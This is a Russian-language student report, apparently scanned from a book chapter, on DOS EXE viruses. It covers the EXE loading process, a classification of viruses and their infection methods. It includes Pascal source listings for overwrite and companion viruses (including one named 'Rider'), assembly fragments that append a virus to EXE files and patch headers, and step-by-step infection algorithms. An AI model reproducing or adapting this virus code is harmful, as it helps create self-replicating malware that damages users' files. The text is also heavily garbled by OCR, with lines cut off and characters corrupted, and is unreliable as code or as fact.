Доклад: Exe-вирусы
Название: Exe-вирусы Раздел: Рефераты по информатике, программированию Тип: доклад |
ЕХЕ-ВИРУСЫ В этой главе рассказано о ви- СОМ-файлы (небольшие программы, написанные в основном на языке Структура и процесс загрузки ЕХЕ-программы В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не- ЕХЕ-файл имеет заголовок, который используется при его загрузке. При запуске ЕХЕ-программы системным загрузчиком (вызовом функ- 1. Определяется сегментный адрес свободного участка памяти, размер 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ- 4. Адрес DTA устанавливается равным PSP:0080h. 5. В рабочую область загрузчика считывается форматированная часть 6. Вычисляется длина загрузочного модуля по формуле: Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig. 7. Определяется смещение загрузочного модуля в файле, равное 8. Вычисляется сегментный адрес (START_SEG) для загрузки - 9. Считывается в память загрузочный модуль (начиная с адреса 10. Для каждого входа таблицы настройки: a) читаются слова I_OFF и I_SEG; b) вычисляется RELC^SEG-START^SEG+LSEG; c) читается слово по адресу RELO_SEG:I_OFF; d) к прочитанному слову прибавляется START_SEG; e) результат запоминается по тому же адресу (RELO_SEG:I_OFF). 11. Распределяется память для программы в соответствии с МахМет 12. Инициализируются регистры, выполняется программа: a) ES=DS°PSP; b) АХ=результат проверки правильности идентификаторов драйве- c) SS°START_SEG+ReloSS, SP-ExeSP; d) CS=START_SEG+ReloCS, IP=ExeIP. Классификация ЕХЕ-вирусов ЕХЕ-вирусы условно можно разделить на группы, используя в качестве Вирусы, замещающие программный код (Overwrite) Такие вирусы уже стали раритетом. Главный их недостаток - слишком Вирусы-спутники (Companion) Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмот- Вирусы первого типа размножается следующим образом. Для каждого ин- кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением Вирусы второго типа действуют более тонко. Имя инфицируемого Вирусы, внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфици- Способы заражения ЕХЕ-файлов Самый распространенный способ заражения ЕХЕ-файлов такой: в конец Следующий способ - внедрение вируса в начало файла со сдвигом кода Следующий способ заражения файлов - метод переноса - по всей ви- файла, восстанавливая работоспособность программы. Затем вирус уда- Вирусы, замещающие программный код Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ- Алгоритм работы overwrite-вируса следующий: 1. Открыть файл, из которого вирус получил управление. 2. Считать в буфер код вируса. 3. Закрыть файл. 4. Искать по маске подходящий для заражения файл. 5. Если файлов больше не найдено, перейти к пункту 11. 6. Открыть найденный файл. 7. Проверить, не заражен ли найденный файл этим вирусом. 8. Если файл заражен, перейти к пункту 10. 9. Записать в начало файла код вируса. 10. Закрыть файл (по желанию можно заразить от одного до всех фай- 11. Выдать на экран какое-либо сообщение об ошибке, например 12. Завершить программу. Ниже приведен листинг программы, заражающей файлы таким {$М 2048, 0, 0} {$А-} {$В-} {$D-} {$Е+} ($F-) ($G-} ($!-} {$L-} {$N-} {$S-} / {$V-} {$X+} {Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Const (Имя вируса} {Строка для проверки на повторное заражение. Она дописывается в заражаемый файл сразу после кода вируса} VirLabel: String[5]='Pain!1; {Длина получаемого при компиляции ЕХЕ-файла} Author='Dirty Nazi/SGWW.'; {Количество заражаемых за один сеанс работы файлов} Var {Массив для определения наличия копии вируса в найденном файле} {Файловая переменная для работы с файлами} (Еще одна файловая переменная - хотя без нее можно было {Для имени найденного файла) (Буфер для тела вируса) (Для даты/времени файла) (Счетчик количества инфицированных файлов) Dirlnfo : SearchRec; LabelBuf : Array [1.5] of Char; (Инициализация) begin LabelBuf[2]:=VirLabel[2]; LabelBuf[3]:=VirLabel[3], LabelBuf[5]:=VirLabel[5]; (Обнуляем счетчик количества инфицированных файлов} (Связываем файловую переменную VirBody с именем программы. (Открываем файл с recsize=1 байту) (Считываем из файла тело вируса в массив VirBuf} (Закрываем файл) end; (Поиск жертвы} Var (Функция возвращает True, если найденная программа уже заражена, и False, если еще нет} begin (Пока будем считать, что вируса нет} (Открываем найденный файл} Reset(Target, 1); (Перемещаемся на длину тела вируса от начала файла} (Считываем 5 байт - если файл уже заражен, If Virldentifier=Virl_abel Then {Если метка есть, значит есть и вирус} end; (Процедура заражения} begin {Если размер найденного файла меньше, чем длина вируса {Если найденная программа еще не заражена, инфицируем ее} {Запомним дату и время файла. Атрибуты запоминать не надо, {Открываем для заражения} Reset(Target, 1); {Записывам тело вируса в начало файла} {Перемещаем указатель текущей позиции {Вписываем метку заражения} {Устанавливаем дату и время файла} {Закрываем} {Увеличиваем счетчик инфицированных файлов} end; end; {Начало процедуры FindTarget} {Ищем в текущем каталоге файлы по маске *.ЕХЕ {Пока есть файлы для заражения} While DosError=0 Do begin If Sr.Name=" Then Exit; (Запоминаем имя найденного файла в переменную TargetFile} {Вызываем процедуру заражения} {Если заразили InfCount файлов, завершаем поиск} {Ищем следующий файл по маске} end; end; {Основное тело} (Инициализируемся} {Ищем жертвы и заражаем их} {Выдаем на экран сообщение об ошибке} {Это чтобы компилятор вставил в код константы VirName WriteLn(Author); end; end. Вирусы-спутники (Companion) Вирусы-спутники сейчас широко распространены - соотношение Инфицирование методом создания СОМ-файла спутника Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со- Заражение производится с помощью командного процессора: 1. Если в командной строке указаны параметры, сохранить их в пере- 2. Найти ЕХЕ-файл-жертву. 3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- 4. Если такой СОМ-файл присутствует, файл уже заражен, переходим 5. С помощью командного процессора скопировать файл, из которого 6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но 7. Вернуть управление в DOS. Приведенный ниже листинг показывает заражение файлов этим ($М 2048, 0, 0} {$!-} f$L-( (Используются модули DOS и System (модуль System автоматически Const {Имя вируса) Author='Dirty Nazi/SGWW. 4 PVT only!'; {Количество зараженных за один сеанс работы файлов} Var {Для имени найденного файла) {Для создания копии} (Счетчик количества заражений} Dirlnfo : SearchRec; {Для сохранения параметров командной строки} (Для цикла For} (Поиск жертв} Var {Функция возвращает True, если найденная программа уже заражена, Var Target : File; begin {Пока будем считать, что вируса здесь нет} {Пытаемся открыть файл с именем найденной программы, ResetHarget, 1); {Если не было ошибок при открытии, {Открыли - закроем} end; end; {Собственно процедура заражения} begin {Если найденная программа еще не заражена, инфицируем ее} {С помощью командного процессора Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+' Swap Vectors; (Увеличиваем на единицу счетчик инфицированных файлов} end; end; begin {начало процедуры FindTarget} (Ищем в текущем каталоге файлы по маске *.ЕХЕ {Пока есть файлы для заражения} While DosError=0 Do begin If Sr.Name=" Then Exit; {Запоминаем имя найденного файла в переменную TargetFile} TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM'; {Вызываем процедуру заражения} {Если заразили InfCount файлов, завершаем поиск} {Ищем следующий файл по маске} end; end; {Основное тело} {Запоминаем параметры командной строки} {Ищем жертвы и заражаем их} TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE'; (Ищем файл с именем стартового файла, но с расширением ЕХЕ} {Если такой файл найден, запускаем его на выполнение) Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms); Swap Vectors; end Else {Если файл не найден, выходим, WriteLnCKaKoe-нибудь сообщение'); end; end. Инфицирование методом переименования ЕХЕ-файла Отличий в алгоритмах работы этих вирусов и их "коллег", создающих 1. Если в командной строке указаны параметры, сохранить их в пере- 2. Найти ЕХЕ-файл-жертву. 3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- 4. Если такой файл присутствует, программа уже инфицирована - пе- 5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име- 6. С помощью командного процессора скопировать файл, из которого по- 7. Найти в каталоге, из которого получено управление, файл с именем 8. Если такой файл не найден, переходим к пункту 12. 9. Изменить расширение найденного файла на СОМ (ни в коем случае не 10. Процедурой Ехес загрузить и выполнить переименованный файл - 11. Вернуть СОМ-файлу с инфицированной программой выбранное 12. Вернуть управление в DOS. Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider В представленном здесь виде вирус легко обезвредить, достаточно про- procedure MakeNot; Var Buf10: Array [1.10] of Byte; Cicle: Byte; begin Reset(Prog); BlockRead(Prog, Buf10, 10); For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle]; Seek(Prog, 0); BlockWrite(Prog, Buf10, 10); Close(Prog); end; При использовании этой процедуры надо учитывать, что заражаемая { Name Rider } { Version 1.0 } { Stealth No } { Tsr No } { Danger 0 } { Attac speed Slow } { Effects No } { Length 4000 } { Language Pascal } { BodyStatus Packed } { Packer Pklite } ($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob, {Используются модули DOS и System (модуль System автоматически Const {Расширения файлов, которые будем использовать} Ovl='.OVL'; Ехе=.ЕХЕ'; Var Sr : SearchRec; Ch : Char; I : Byte; OurName : PathStr; OurProg : PathStr; Ren : File; CmdLine : ComStr; Victim : PathStr; VictimName : PathStr; (Процедура для проверки диска на Read Only) begin ReWrite(Ren); Erase(Ren); If lOResult <> 0 Then {Если диск защищен от записи, то ответ 'Access denied'} begin WriteLn(Fail); Halt(5); end; end; (Процедура прогонки оригинала} begin {Находим оригинал} If DosError <> 0 Then (Если не нашли} begin WriteLn('Virus RIDER. Let's go on riding!'); WriteLn('l beg your pardon, your infected file cannot be executed.'); (Выход с DosError=<t>ann не найден) end; {Переименовываем программу в OVL} ReName(Ren, OurName+Ovr); {Переименовываем оверлей в ЕХЕ} ReName(Ren, OurName+Exe); (И запускаем его} Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine); Swap Vectors; {А теперь возвращаем все на место) ReName(Ren, OurName+Ovl); Assign(Ren, OurName+Ovr); ReName(Ren, OurName+Exe); end; (Процедура заражения} begin {Переименовываем жертву в OVL} ReName(Ren, VictimName+Ovl); {Копируем тело вируса на место жертвы} Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL'); SwapVectors; end; {Процедура поиска жертвы} begin {В текущем каталоге ищем ЕХЕ-файл} If DosError=0 Then {И если он найден} {Запоминаем имя жертвы} {Запоминаем имя без расширения} {Ищем оверлей с тем же именем} If DosError <> 0 Then Infect; end; end; {Процедура инициализации переменных} begin (Командная строка} {Полное имя нашей программы} {Имя нашей программы без расширения} For l:=1 To ParamCount Do {Запоминаем параметры} end; end; {Основная подпрограмма} {А эту табличку запишем в код для тех, кто распакует вирус и начнет в нем копаться} If False Then begin WriteLn(#13#10 ' '); end; {Инициализируемся} (Проверка диска на R/О} {Ищем и заражаем} {Загружаем оверлей} end. Вирусы, внедряющиеся в программу (Parasitic) Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне- Стандартное заражение ЕХЕ-файлов Стандартное заражение - заражение, при котором вирус внедряется ;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт, ReadHeader: mov ah,3Fh mov dx,offset EXEHeader Останавливаем в SI адрес считанного заголовка. В дальнейшем [Получаем реальную длину файла, переместив указатель текущей mov ax,4202h mov bx.Handle xor ex,ex xor dx.dx int 21 h ;Сохраним полученную длину файла ;Так как речь идет о стандартной процедуре заражения, нужно Следовательно, если заразить такой файл, вирус попадет push dx push ax рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток mov cx,0200h div ex ;Ha данный момент в регистре АХ находится число страниц ;еще одну (неучтенную) страницу. or dx.dx jz m1 inc ax .Будем считать пригодным для заражения cmp ax,[si+PartPag] jne ExitProc cmp dx,[si+PageCnt] jne ExitProc ;Чтобы вирус смог вернуть управление mov ax,[si+ReloSS] mov oldss.ax mov ax,[si+ExeSP] mov oldsp.ax mov ax,[si+ReloCS] mov oldcs.ax mov ax,[si+Exe!P] mov oldip.ax .Восстановим из стека реальную длину файла pop ax pop dx .Рассчитаем длину программы с вирусом, для чего прибавим add ax,VIRSIZE ;VIRSIZE - длина тела вируса adc dx.0 рассчитаем получившуюся длину (одна страница - 512 байт) mov cx,0200h div ex or dx.dx jz newJen inc ax ;Внесем в заголовок новую длину файла ;Прочитаем реальную длину файла. mov dx.Reallen+2 mov ax.Reallen ; Рассчитаем новую точку входа. .Точка входа в вирус должна находиться ;в начале его тела. Другими словами, нужно к длине файла .прибавить смещение точки входа. ;Разделим длину на размер параграфа (10h) mov cx,10h div ex Получили число параграфов (AX) и остаток (DX - смещение ;3апишем новую точку входа в заголовок .Замечание: можно было округлить полученное число, ,-Естественно, все обращения к данным в этом вирусе должны быть нефиксированными, как и в любом другом вирусе. ;Вместо "mov ax,ANYDATA" придется делать так: ; mov si.VIRSTART ; mov ax,[si+offset ANYDATA] ;где offset ANYDATA - смещение относительно начала тела вируса ;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно ;вернем, иначе можно стереть заготовленные в стеке значения! .'Установим сегмент стека такой же, как и кода, ;а указатель на вершину стека - ;на 100h байт после тела вируса mov [si+ReloSSj.ax mov ax.VIRSIZE+IOOh mov [si+ExeSP],ax ;Теперь запишем заголовок в файл, не забыв и тело вируса. ;3апишем тело вируса .-Установим указатель чтения/записи в конец файла .Запишем тело вируса в файл ;3апишем заголовок ;Установим указатель чтения/записи в начало файла xor ex,ex xor dx.dx int 21 h .Запишем заголовок в файл mov cx,0018h mov ah,40h mov dx.si int 21 h Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы CureEXE: StackBack: -.Установим первоначальный указатель (сегмент и смещение) стека -.Прибавим ООЮп, после чего в АХ будет Прибавим первоначальный сегмент стека db @add_ax ;код ADD AX, дальше по аналогии ;3апретим прерывания, так как со стеком нельзя работать, -.Установим сегмент стека (PSP+Wh+OldSS) :Установим первоначальный указатель (смещение) стека db @mov_sp ; Разрешим прерывания - опасный участок пройден [Подготовим значения в стеке для команды IRET pushf рассчитаем сегмент для кода по аналогии с сегментом стека mov ax.DATASEG add ax,10h db @add_ax ;Сохраним в стеке полученное значение (PSP+Wh+OldCS) ;Сохраним в стеке смещение исходной точки входа db @mov_ax push ax .Запустим программу. В стеке находятся смещение Внедрение способом сдвига Инфицируемая программа размещается в файле после кода вируса, 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл, 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение (здесь могут быть вариан- 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер все тело программы. 9. Записать в начало файла тело вируса из буфера. 10. Дописать в файл после тела вируса тело программы из буфера. 11. Закрыть файл-жертву. 12. Открыть файл, из которого стартовали. 13. Считать в буфер тело инфицированной программы, расположенное 14. Создать на диске временный файл с расширением СОМ или ЕХЕ 15. Записать в этот файл тело программы из буфера. 16. Закрыть созданный файл. 17. Процедурой Ехес запустить созданный файл на исполнение - 18. После завершения работы программы созданный файл удалить. 19. Вернуть управление в DOS. Вирусы - это хорошая гимнастика для ума, хотя многие думают, что Внедрение способом переноса Вирусы данного типа размножаются следующим образом. Из инфициру- ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI Недостаток данного метода проявляется при сбоях в работе компьюте- программа окажется "чистой", то есть без вируса. Но, во-первых, "кто 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл-жертву. 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение (здесь могут быть вариан- 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер из начала найденного файла фрагмент программы, 9. Записать в начало файла тело вируса из буфера. 10. Дописать в конец файла считанное начало программы из буфера. 11. Закрыть файл-жертву. 12. Открыть файл, из которого стартовали. 13. Считать в буфер начало инфицированной программы, расположен- 14. Записать считанное начало программы поверх кода вируса в начало 15. Сократить файл до его оригинальной длины (то есть удалить часть 16. Закрыть файл. 17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис- 18. После завершения работы программы опять открыть стартовый 19. Записать в начало файла тело вируса, а оригинальное начало про- 20. Закрыть файл. 21. Вернуть управление в DOS. |